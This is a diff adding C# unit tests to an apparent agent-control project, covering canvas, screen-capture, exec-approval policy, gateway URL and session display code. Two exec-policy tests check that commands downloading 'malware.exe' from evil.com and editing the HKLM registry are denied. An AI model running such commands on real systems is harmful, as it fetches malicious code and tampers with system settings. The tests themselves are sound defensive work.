diff --git a/tests/OpenClaw.Shared.Tests/CapabilityTests.cs b/tests/OpenClaw.Shared.Tests/CapabilityTests.cs index b02dcc5..cd16167 100644 --- a/tests/OpenClaw.Shared.Tests/CapabilityTests.cs +++ b/tests/OpenClaw.Shared.Tests/CapabilityTests.cs @@ -1,3 +1,4 @@ +using System.IO; using System.Text.Json; using Xunit; using OpenClaw.Shared; @@ -517,6 +518,121 @@ public class CanvasCapabilityTests Assert.True(res.Ok); Assert.True(resetRaised); } + + [Fact] + public async Task Navigate_RaisesEvent_WhenUrlPresent() + { + var cap = new CanvasCapability(NullLogger.Instance); + string? navigatedUrl = null; + cap.NavigateRequested += (s, url) => navigatedUrl = url; + + var req = new NodeInvokeRequest + { + Id = "c12", + Command = "canvas.navigate", + Args = Parse("""{"url":"https://example.com/page"}""") + }; + var res = await cap.ExecuteAsync(req); + Assert.True(res.Ok); + Assert.Equal("https://example.com/page", navigatedUrl); + } + + [Fact] + public async Task Eval_ReturnsError_WhenHandlerThrows() + { + var cap = new CanvasCapability(NullLogger.Instance); + cap.EvalRequested += (script) => throw new InvalidOperationException("WebView2 not ready"); + + var req = new NodeInvokeRequest + { + Id = "c13", + Command = "canvas.eval", + Args = Parse("""{"script":"document.title"}""") + }; + var res = await cap.ExecuteAsync(req); + Assert.False(res.Ok); + Assert.Contains("WebView2 not ready", res.Error); + } + + [Fact] + public async Task Snapshot_CallsHandler_WithArgs() + { + var cap = new CanvasCapability(NullLogger.Instance); + CanvasSnapshotArgs? receivedArgs = null; + cap.SnapshotRequested += (args) => + { + receivedArgs = args; + return Task.FromResult("base64data"); + }; + + var req = new NodeInvokeRequest + { + Id = "c14", + Command = "canvas.snapshot", + Args = Parse("""{"format":"jpeg","maxWidth":800,"quality":70}""") + }; + var res = await cap.ExecuteAsync(req); + Assert.True(res.Ok); + Assert.NotNull(receivedArgs); + Assert.Equal("jpeg", receivedArgs!.Format); + Assert.Equal(800, receivedArgs.MaxWidth); + Assert.Equal(70, receivedArgs.Quality); + } + + [Fact] + public async Task Snapshot_ReturnsError_WhenHandlerThrows() + { + var cap = new CanvasCapability(NullLogger.Instance); + cap.SnapshotRequested += (args) => throw new InvalidOperationException("Canvas not visible"); + + var req = new NodeInvokeRequest { Id = "c15", Command = "canvas.snapshot", Args = Parse("""{}""") }; + var res = await cap.ExecuteAsync(req); + Assert.False(res.Ok); + Assert.Contains("Canvas not visible", res.Error); + } + + [Fact] + public async Task A2UIPush_WithJsonlPath_ReadsFile() + { + var cap = new CanvasCapability(NullLogger.Instance); + CanvasA2UIArgs? received = null; + cap.A2UIPushRequested += (s, a) => received = a; + + var tmpFile = Path.GetTempFileName(); + try + { + File.WriteAllText(tmpFile, """{"type":"text","value":"hello"}"""); + var req = new NodeInvokeRequest + { + Id = "c16", + Command = "canvas.a2ui.push", + Args = Parse($$$"""{"jsonlPath":"{{{tmpFile.Replace("\\", "\\\\")}}}"}""") + }; + var res = await cap.ExecuteAsync(req); + Assert.True(res.Ok); + Assert.NotNull(received); + Assert.Contains("hello", received!.Jsonl); + } + finally + { + File.Delete(tmpFile); + } + } + + [Fact] + public async Task A2UIPush_WithMissingJsonlPath_ReturnsError() + { + var cap = new CanvasCapability(NullLogger.Instance); + var req = new NodeInvokeRequest + { + Id = "c17", + Command = "canvas.a2ui.push", + Args = Parse("""{"jsonlPath":"/nonexistent/path/file.jsonl"}""") + }; + var res = await cap.ExecuteAsync(req); + Assert.False(res.Ok); + Assert.Contains("Failed to read jsonlPath", res.Error); + } } public class ScreenCapabilityTests @@ -597,6 +713,78 @@ public class ScreenCapabilityTests Assert.True(res.Ok); Assert.NotNull(res.Payload); } + + [Fact] + public async Task Capture_ReturnsError_WhenHandlerThrows() + { + var cap = new ScreenCapability(NullLogger.Instance); + cap.CaptureRequested += (args) => throw new InvalidOperationException("Display access denied"); + + var req = new NodeInvokeRequest { Id = "s5", Command = "screen.capture", Args = Parse("""{}""") }; + var res = await cap.ExecuteAsync(req); + Assert.False(res.Ok); + Assert.Contains("Display access denied", res.Error); + } + + [Fact] + public async Task List_ReturnsError_WhenHandlerThrows() + { + var cap = new ScreenCapability(NullLogger.Instance); + cap.ListRequested += () => throw new InvalidOperationException("Screen enumeration failed"); + + var req = new NodeInvokeRequest { Id = "s6", Command = "screen.list", Args = Parse("""{}""") }; + var res = await cap.ExecuteAsync(req); + Assert.False(res.Ok); + Assert.Contains("Screen enumeration failed", res.Error); + } + + [Fact] + public async Task Capture_ResponseIncludesDataUri() + { + var cap = new ScreenCapability(NullLogger.Instance); + cap.CaptureRequested += (args) => Task.FromResult(new ScreenCaptureResult + { + Format = "png", + Width = 1920, + Height = 1080, + Base64 = "abc123" + }); + + var req = new NodeInvokeRequest { Id = "s7", Command = "screen.capture", Args = Parse("""{}""") }; + var res = await cap.ExecuteAsync(req); + Assert.True(res.Ok); + + var json = JsonSerializer.Serialize(res.Payload); + using var doc = JsonDocument.Parse(json); + var root = doc.RootElement; + Assert.True(root.TryGetProperty("image", out var imageEl)); + Assert.StartsWith("data:image/png;base64,", imageEl.GetString()); + Assert.Contains("abc123", imageEl.GetString()); + } + + [Fact] + public async Task Capture_UsesMonitorAlias_ForScreenIndex() + { + var cap = new ScreenCapability(NullLogger.Instance); + ScreenCaptureArgs? receivedArgs = null; + cap.CaptureRequested += (args) => + { + receivedArgs = args; + return Task.FromResult(new ScreenCaptureResult { Format = "png", Width = 1920, Height = 1080, Base64 = "" }); + }; + + // "monitor" is an alias for "screenIndex" + var req = new NodeInvokeRequest + { + Id = "s8", + Command = "screen.capture", + Args = Parse("""{"monitor":2}""") + }; + var res = await cap.ExecuteAsync(req); + Assert.True(res.Ok); + Assert.NotNull(receivedArgs); + Assert.Equal(2, receivedArgs!.MonitorIndex); + } } public class CameraCapabilityTests diff --git a/tests/OpenClaw.Shared.Tests/ExecApprovalPolicyTests.cs b/tests/OpenClaw.Shared.Tests/ExecApprovalPolicyTests.cs index e3d9a7f..e8545ee 100644 --- a/tests/OpenClaw.Shared.Tests/ExecApprovalPolicyTests.cs +++ b/tests/OpenClaw.Shared.Tests/ExecApprovalPolicyTests.cs @@ -280,6 +280,117 @@ public class ExecApprovalPolicyTests : IDisposable var result = policy.Evaluate("echo hello"); Assert.True(result.Allowed); } + + [Fact] + public void InsertRule_ClampsToZero_ForNegativeIndex() + { + var policy = CreatePolicy(); + policy.SetRules(new[] + { + new ExecApprovalRule { Pattern = "first" }, + new ExecApprovalRule { Pattern = "second" } + }); + + policy.InsertRule(-5, new ExecApprovalRule { Pattern = "inserted" }); + + Assert.Equal(3, policy.Rules.Count); + Assert.Equal("inserted", policy.Rules[0].Pattern); // Inserted at index 0 + } + + [Fact] + public void InsertRule_ClampsToEnd_ForIndexBeyondCount() + { + var policy = CreatePolicy(); + policy.SetRules(new[] + { + new ExecApprovalRule { Pattern = "first" } + }); + + policy.InsertRule(100, new ExecApprovalRule { Pattern = "last" }); + + Assert.Equal(2, policy.Rules.Count); + Assert.Equal("last", policy.Rules[^1].Pattern); // Inserted at end + } + + [Fact] + public void RemoveRule_ReturnsFalse_ForNegativeIndex() + { + var policy = CreatePolicy(); + policy.SetRules(new[] + { + new ExecApprovalRule { Pattern = "rule1" } + }); + + var removed = policy.RemoveRule(-1); + Assert.False(removed); + Assert.Single(policy.Rules); + } + + [Fact] + public void RemoveRule_ReturnsFalse_ForIndexAtCount() + { + var policy = CreatePolicy(); + policy.SetRules(new[] + { + new ExecApprovalRule { Pattern = "rule1" } + }); + + var removed = policy.RemoveRule(1); // index == count, out of range + Assert.False(removed); + Assert.Single(policy.Rules); + } + + [Fact] + public void DefaultPolicy_CreatesFile_OnFirstLoad() + { + var policyFile = Path.Combine(_tempDir, "exec-policy.json"); + Assert.False(File.Exists(policyFile)); // Does not exist yet + + var policy = CreatePolicy(); // Load() auto-creates defaults + + Assert.True(File.Exists(policyFile)); // Should now exist + Assert.True(policy.Rules.Count > 0); + } + + [Fact] + public void WhitespaceOnlyCommand_IsDenied() + { + var policy = CreatePolicy(); + var result = policy.Evaluate(" "); + Assert.False(result.Allowed); + Assert.Equal("Empty command", result.Reason); + } + + [Fact] + public void DefaultPolicy_DeniesWebDownloads() + { + var policy = CreatePolicy(); + var result = policy.Evaluate("Invoke-WebRequest https://evil.com/malware.exe"); + Assert.False(result.Allowed); + } + + [Fact] + public void DefaultPolicy_DeniesRegistryEdits() + { + var policy = CreatePolicy(); + var result = policy.Evaluate("reg add HKLM\\Software\\Evil"); + Assert.False(result.Allowed); + } + + [Fact] + public void ShellFilter_DefaultsToLowercase_WhenShellNotProvided() + { + var policy = CreatePolicy(); + policy.SetRules(new[] + { + // Rule only applies to "cmd" + new ExecApprovalRule { Pattern = "dir *", Action = ExecApprovalAction.Allow, Shells = new[] { "cmd" } } + }); + + // When no shell is provided, defaults to "powershell" internally, so cmd-only rule doesn't match + var result = policy.Evaluate("dir C:\\", null); // null shell -> defaults to "powershell" + Assert.False(result.Allowed); // cmd rule didn't match, default deny applies + } } public class SystemCapabilityExecApprovalsTests diff --git a/tests/OpenClaw.Shared.Tests/GatewayUrlHelperTests.cs b/tests/OpenClaw.Shared.Tests/GatewayUrlHelperTests.cs index 57a34ac..08bbd4d 100644 --- a/tests/OpenClaw.Shared.Tests/GatewayUrlHelperTests.cs +++ b/tests/OpenClaw.Shared.Tests/GatewayUrlHelperTests.cs @@ -33,4 +33,93 @@ public class GatewayUrlHelperTests Assert.False(result); Assert.Equal(string.Empty, normalized); } + + [Fact] + public void TryNormalizeWebSocketUrl_RejectsNullInput() + { + var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(null, out var normalized); + + Assert.False(result); + Assert.Equal(string.Empty, normalized); + } + + [Theory] + [InlineData(" ws://localhost:18789 ", "ws://localhost:18789")] + [InlineData(" http://localhost:18789 ", "ws://localhost:18789")] + public void TryNormalizeWebSocketUrl_TrimsWhitespace(string inputUrl, string expected) + { + var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(inputUrl, out var normalized); + + Assert.True(result); + Assert.Equal(expected, normalized); + } + + [Theory] + [InlineData("wss://user:pass@host.example.com", "wss://user:pass@host.example.com")] + [InlineData("https://user:pass@host.example.com", "wss://user:pass@host.example.com")] + public void TryNormalizeWebSocketUrl_PreservesEmbeddedCredentials(string inputUrl, string expected) + { + var result = GatewayUrlHelper.TryNormalizeWebSocketUrl(inputUrl, out var normalized); + + Assert.True(result); + Assert.Equal(expected, normalized); + } + + // --- IsValidGatewayUrl --- + + [Theory] + [InlineData("ws://localhost:18789")] + [InlineData("wss://host.tailnet.ts.net")] + [InlineData("http://localhost:18789")] + [InlineData("https://host.tailnet.ts.net")] + public void IsValidGatewayUrl_ReturnsTrueForValidUrls(string url) + { + Assert.True(GatewayUrlHelper.IsValidGatewayUrl(url)); + } + + [Theory] + [InlineData(null)] + [InlineData("")] + [InlineData(" ")] + [InlineData("localhost:18789")] + [InlineData("ftp://example.com")] + public void IsValidGatewayUrl_ReturnsFalseForInvalidUrls(string? url) + { + Assert.False(GatewayUrlHelper.IsValidGatewayUrl(url)); + } + + // --- NormalizeForWebSocket --- + + [Theory] + [InlineData("http://localhost:18789", "ws://localhost:18789")] + [InlineData("https://host.tailnet.ts.net", "wss://host.tailnet.ts.net")] + [InlineData("ws://localhost:18789", "ws://localhost:18789")] + [InlineData("wss://host.tailnet.ts.net", "wss://host.tailnet.ts.net")] + public void NormalizeForWebSocket_NormalizesHttpToWs(string inputUrl, string expected) + { + var result = GatewayUrlHelper.NormalizeForWebSocket(inputUrl); + Assert.Equal(expected, result); + } + + [Fact] + public void NormalizeForWebSocket_ReturnsEmptyString_ForNull() + { + var result = GatewayUrlHelper.NormalizeForWebSocket(null); + Assert.Equal(string.Empty, result); + } + + [Fact] + public void NormalizeForWebSocket_ReturnsTrimmedOriginal_ForInvalidUrl() + { + // Invalid URL returns trimmed original (fallback behavior) + var result = GatewayUrlHelper.NormalizeForWebSocket(" not-a-url "); + Assert.Equal("not-a-url", result); + } + + [Fact] + public void ValidationMessage_IsNotEmpty() + { + Assert.NotEmpty(GatewayUrlHelper.ValidationMessage); + Assert.Contains("ws://", GatewayUrlHelper.ValidationMessage); + } } diff --git a/tests/OpenClaw.Shared.Tests/ModelsTests.cs b/tests/OpenClaw.Shared.Tests/ModelsTests.cs index b6af134..f817b43 100644 --- a/tests/OpenClaw.Shared.Tests/ModelsTests.cs +++ b/tests/OpenClaw.Shared.Tests/ModelsTests.cs @@ -466,3 +466,296 @@ public class GatewayUsageInfoTests Assert.Contains("gpt-4", display); } } + +public class GatewayNodeInfoTests +{ + [Fact] + public void ShortId_ReturnsFullId_ForShortIds() + { + var node = new GatewayNodeInfo { NodeId = "node-1" }; + Assert.Equal("node-1", node.ShortId); + } + + [Fact] + public void ShortId_TruncatesWithEllipsis_ForLongIds() + { + var node = new GatewayNodeInfo { NodeId = "node-abcdef123456" }; + Assert.Equal("node-abcdef1…", node.ShortId); // First 12 chars + ellipsis + } + + [Fact] + public void ShortId_ExactlyTwelveChars_NotTruncated() + { + var node = new GatewayNodeInfo { NodeId = "123456789012" }; + Assert.Equal("123456789012", node.ShortId); + } + + [Fact] + public void DisplayText_UsesDisplayName_WhenPresent() + { + var node = new GatewayNodeInfo { NodeId = "long-id-here", DisplayName = "My Windows PC", IsOnline = true }; + Assert.Contains("My Windows PC", node.DisplayText); + } + + [Fact] + public void DisplayText_UsesShortId_WhenNoDisplayName() + { + var node = new GatewayNodeInfo { NodeId = "node-abcdef123456", DisplayName = "", IsOnline = true }; + Assert.Contains("node-abcdef1…", node.DisplayText); // First 12 chars + ellipsis + } + + [Fact] + public void DisplayText_ShowsOnline_WhenIsOnline() + { + var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = true }; + Assert.Contains("online", node.DisplayText); + } + + [Fact] + public void DisplayText_ShowsOffline_WhenNotOnlineAndNoStatus() + { + var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = false, Status = "" }; + Assert.Contains("offline", node.DisplayText); + } + + [Fact] + public void DisplayText_UsesStatus_WhenNotOnlineAndStatusSet() + { + var node = new GatewayNodeInfo { NodeId = "n1", DisplayName = "PC", IsOnline = false, Status = "disconnected" }; + Assert.Contains("disconnected", node.DisplayText); + } + + [Fact] + public void DetailText_ShowsNoDetails_WhenAllEmpty() + { + var node = new GatewayNodeInfo { NodeId = "n1" }; + Assert.Equal("no details", node.DetailText); + } + + [Fact] + public void DetailText_ShowsMode_WhenPresent() + { + var node = new GatewayNodeInfo { NodeId = "n1", Mode = "node" }; + Assert.Contains("node", node.DetailText); + } + + [Fact] + public void DetailText_ShowsPlatform_WhenPresent() + { + var node = new GatewayNodeInfo { NodeId = "n1", Platform = "windows" }; + Assert.Contains("windows", node.DetailText); + } + + [Fact] + public void DetailText_ShowsCommandAndCapabilityCounts() + { + var node = new GatewayNodeInfo { NodeId = "n1", CommandCount = 5, CapabilityCount = 2 }; + Assert.Contains("5 cmd", node.DetailText); + Assert.Contains("2 cap", node.DetailText); + } + + [Fact] + public void DetailText_ShowsLastSeen_WhenPresent() + { + var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddSeconds(-5) }; + Assert.Contains("just now", node.DetailText); + } + + [Fact] + public void DetailText_ShowsMinutesAgo_WhenOld() + { + var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddMinutes(-10) }; + Assert.Contains("10m ago", node.DetailText); + } + + [Fact] + public void DetailText_ShowsHoursAgo_ForRecentHours() + { + var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddHours(-3) }; + Assert.Contains("3h ago", node.DetailText); + } + + [Fact] + public void DetailText_ShowsDaysAgo_ForOldTimestamps() + { + var node = new GatewayNodeInfo { NodeId = "n1", LastSeen = DateTime.UtcNow.AddDays(-5) }; + Assert.Contains("5d ago", node.DetailText); + } + + [Fact] + public void DetailText_JoinsAllParts() + { + var node = new GatewayNodeInfo + { + NodeId = "n1", + Mode = "node", + Platform = "windows", + CommandCount = 3, + CapabilityCount = 1, + LastSeen = DateTime.UtcNow.AddSeconds(-5) + }; + var text = node.DetailText; + Assert.Contains("node", text); + Assert.Contains("windows", text); + Assert.Contains("3 cmd", text); + Assert.Contains("1 cap", text); + Assert.Contains("just now", text); + } +} + +public class SessionInfoAgeTextTests +{ + [Fact] + public void AgeText_JustNow_ForVeryRecentUpdate() + { + var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddSeconds(-10) }; + Assert.Equal("just now", session.AgeText); + } + + [Fact] + public void AgeText_MinutesAgo_WhenOlderThanOneMinute() + { + var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddMinutes(-5) }; + Assert.Equal("5m ago", session.AgeText); + } + + [Fact] + public void AgeText_HoursAgo_WhenOlderThanOneHour() + { + var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddHours(-2) }; + Assert.Equal("2h ago", session.AgeText); + } + + [Fact] + public void AgeText_DaysAgo_WhenOlderThan48Hours() + { + var session = new SessionInfo { UpdatedAt = DateTime.UtcNow.AddDays(-3) }; + Assert.Equal("3d ago", session.AgeText); + } + + [Fact] + public void AgeText_UsesLastSeen_WhenUpdatedAtIsNull() + { + var session = new SessionInfo + { + UpdatedAt = null, + LastSeen = DateTime.UtcNow.AddSeconds(-5) + }; + Assert.Equal("just now", session.AgeText); + } + + [Fact] + public void AgeText_PrefersUpdatedAt_OverLastSeen() + { + var session = new SessionInfo + { + UpdatedAt = DateTime.UtcNow.AddMinutes(-10), + LastSeen = DateTime.UtcNow.AddSeconds(-5) + }; + Assert.Equal("10m ago", session.AgeText); + } +} + +public class SessionInfoRichDisplayTextTests +{ + [Fact] + public void RichDisplayText_UsesMainSession_Label_WhenNoDisplayName_AndIsMain() + { + var session = new SessionInfo { IsMain = true }; + Assert.Equal("Main session", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_UsesSession_Label_WhenNoDisplayName_AndIsSub() + { + var session = new SessionInfo { IsMain = false }; + Assert.Equal("Session", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_UsesDisplayName_WhenSet() + { + var session = new SessionInfo { DisplayName = "my-agent", IsMain = true }; + Assert.StartsWith("my-agent", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_IncludesVerboseLevel() + { + var session = new SessionInfo { DisplayName = "agent", VerboseLevel = "high" }; + Assert.Contains("verbose high", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_IncludesSystemSentFlag() + { + var session = new SessionInfo { DisplayName = "agent", SystemSent = true }; + Assert.Contains("system", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_IncludesAbortedFlag() + { + var session = new SessionInfo { DisplayName = "agent", AbortedLastRun = true }; + Assert.Contains("aborted", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_IncludesCurrentActivity_WhenPresent() + { + var session = new SessionInfo { DisplayName = "agent", CurrentActivity = "running" }; + Assert.Contains("running", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_IncludesStatus_WhenNotUnknownOrActive() + { + var session = new SessionInfo { DisplayName = "agent", Status = "waiting" }; + Assert.Contains("waiting", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_DoesNotIncludeStatus_WhenUnknown() + { + var session = new SessionInfo { DisplayName = "agent", Status = "unknown" }; + Assert.DoesNotContain("unknown", session.RichDisplayText); + } + + [Fact] + public void RichDisplayText_DoesNotIncludeStatus_WhenActive() + { + var session = new SessionInfo { DisplayName = "agent", Status = "active" }; + Assert.DoesNotContain("active", session.RichDisplayText); + } +} + +public class SessionInfoContextSummaryTests +{ + [Fact] + public void ContextSummaryShort_FormatsMillions() + { + var session = new SessionInfo { TotalTokens = 2_500_000, ContextTokens = 200_000 }; + Assert.Contains("2.5M", session.ContextSummaryShort); + } + + [Fact] + public void ContextSummaryShort_Empty_WhenTotalIsZero() + { + var session = new SessionInfo { TotalTokens = 0, ContextTokens = 200_000 }; + Assert.Equal("", session.ContextSummaryShort); + } + + [Fact] + public void ContextSummaryShort_Empty_WhenContextIsZero() + { + var session = new SessionInfo { TotalTokens = 10_000, ContextTokens = 0 }; + Assert.Equal("", session.ContextSummaryShort); + } + + [Fact] + public void ContextSummaryShort_FormatsSmallNumbers() + { + var session = new SessionInfo { TotalTokens = 500, ContextTokens = 1000 }; + Assert.Contains("500/1.0K", session.ContextSummaryShort); + } +}